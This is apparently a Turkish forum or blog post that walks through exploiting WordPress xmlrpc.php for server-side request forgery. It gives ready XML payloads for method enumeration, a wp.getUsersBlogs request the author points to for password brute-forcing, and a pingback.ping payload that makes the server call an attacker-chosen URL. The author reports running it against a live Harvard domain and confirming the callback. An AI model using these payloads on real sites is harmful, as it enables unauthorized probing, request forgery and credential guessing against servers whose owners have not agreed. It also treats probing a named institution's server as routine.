Selamlar okuyucu kafam esti yine dökülüyorum,
Wordpress Nedir? , Xmlrpc Nedir? Nasıl Çalışır? SSRF Zafiyeti Nedir? bilmiyorsan sağ üsteki arama butonundan ara öğren hazıra konmak yok.
Geçenler de bir blackhat turnuvası yapıldı bilenler bilir .
Not: Bilmeyenler için rusların düzenlemiş olduğu sızma testi alanında bir yarışmaydı (Detay soracak olan dm atsın, konuyu dağıtmayalım.) .
Genel mana da güzel bir yarışma oldu.
Yarışma zamanın da bulduğum bulgulardan biri de xmlrpc üzerinden ssrf zafiyetini tetiklemektir.
Hala bunun dışarıya dönük dos saldırıs vb. olacağını düşünen researcherlar var sunucudan istediğimiz sunucuya istek attırabiliyoruz.
Neyse goygoy kesiyim gelelim zafiyet nasıl bulunuyor ve poc ediliyor.
Not: Bounty'de bu zafiyet ile dehşet para vuruluyor, wordpress sistemlerde bakılması gerek bir zafiyettir, önerimdir.
İlk önce xmlrpc.php dosyasına erişebileceğimiz bir sunucu bulalım.
Ben daha önceden göz attığım bir hedef belirledim,
harward'ın bir domaini görüldüğü üzere Wordpress'in 6.0.5 versiyonu kullanılıyor.
Şimdi bakalım xmlrpc.php dosyasına erişebilecek miyiz.
Evet burada bize xmlrpc server ın sadece post isteklerini kabul edeceğini söylüyor,burp suite ile isteği repeater'a atıp methodu değiştiriyorum.
Görüldüğü gibi POST isteği gönderdiğimiz zaman artık 200 alıyoruz.
Herhangi bir xml verisi göndermediğimiz için parse hatası veriyor.
Şimdi bakalım xmlrpc nin hangi metotları açıkmış.
XML:
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Görüldüğü üzere çokça method açık wp.getUsersBlogs u bilerek gösterdim buradan bruteforce atılabiliyor.
XML:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>Username</value></param>
<param><value>Password</value></param>
</params>
</methodCall>
Bugün işimiz ama pingback metodu ile.
Eğer bu metot açık değil ise siteyi değiştirebilirsiniz.
Şimdi bunu nasıl sömürüyoruz ?
Aşağıdaki gibi bir xml kodu ile sömürebiliriz buyurun.
XML:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://nereye_istek_attırmak_istiyorsak</string></value></param>
<param><value><string>http://zafiyetli_hedef_site</string></value></param>
</params>
</methodCall>
Ben burpsuite'in içindeki collaborator'u kullandım daha stabil olduğunu düşünüyorum, prosu olmayan webhook sitelerine başvurabilir.
Hemen DNS üzerinden bir gelen istek görüldüğü gibi geldi. Kendi sunucumuza bir istek attırarak bunu poc etmiş olduk.
Gelen ip adresinin de ip whois ile harvard'dan olduğunu doğruladım.
Okuyup ta yorum yazmayan arkadaşlara selam olsun.